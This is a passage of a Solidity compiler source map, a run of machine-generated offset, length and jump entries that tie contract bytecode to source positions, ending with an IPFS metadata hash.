:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:356::-;5073:2;5055:21;;;5092:18;;;5085:30;5151:34;5146:2;5131:18;;5124:62;5218:2;5203:18;;4871:356::o;6192:456::-;6280:6;6288;6296;6349:2;6337:9;6328:7;6324:23;6320:32;6317:52;;;6365:1;6362;6355:12;6317:52;-1:-1:-1;;6410:16:1;;6516:2;6501:18;;6495:25;6612:2;6597:18;;;6591:25;6410:16;;6495:25;;-1:-1:-1;6591:25:1;6192:456;-1:-1:-1;6192:456:1:o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;7214:251;7284:6;7337:2;7325:9;7316:7;7312:23;7308:32;7305:52;;;7353:1;7350;7343:12;7305:52;7385:9;7379:16;7404:31;7429:5;7404:31;:::i;9803:128::-;9870:9;;;9891:11;;;9888:37;;;9905:18;;:::i;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i;11124:135::-;11163:3;11184:17;;;11181:43;;11204:18;;:::i;:::-;-1:-1:-1;11251:1:1;11240:13;;11124:135::o;11264:127::-;11325:10;11320:3;11316:20;11313:1;11306:31;11356:4;11353:1;11346:15;11380:4;11377:1;11370:15;11396:217;11436:1;11462;11452:132;;11506:10;11501:3;11497:20;11494:1;11487:31;11541:4;11538:1;11531:15;11569:4;11566:1;11559:15;11452:132;-1:-1:-1;11598:9:1;;11396:217::o;12152:959::-;12414:4;12462:3;12451:9;12447:19;12493:6;12482:9;12475:25;12536:6;12531:2;12520:9;12516:18;12509:34;12579:3;12574:2;12563:9;12559:18;12552:31;12603:6;12638;12632:13;12669:6;12661;12654:22;12707:3;12696:9;12692:19;12685:26;;12746:2;12738:6;12734:15;12720:29;;12767:1;12777:195;12791:6;12788:1;12785:13;12777:195;;;12856:13;;-1:-1:-1;;;;;12852:39:1;12840:52;;12921:2;12947:15;;;;12912:12;;;;12888:1;12806:9;12777:195;;;-1:-1:-1;;;;;;;13028:32:1;;;;13023:2;13008:18;;13001:60;-1:-1:-1;;13092:3:1;13077:19;13070:35;12989:3;12152:959;-1:-1:-1;;;12152:959:1:o

ipfs://9bd8f10323fbb4ab8cb10ca3418b90e68ddee23a2b224148e83d6551b518fcee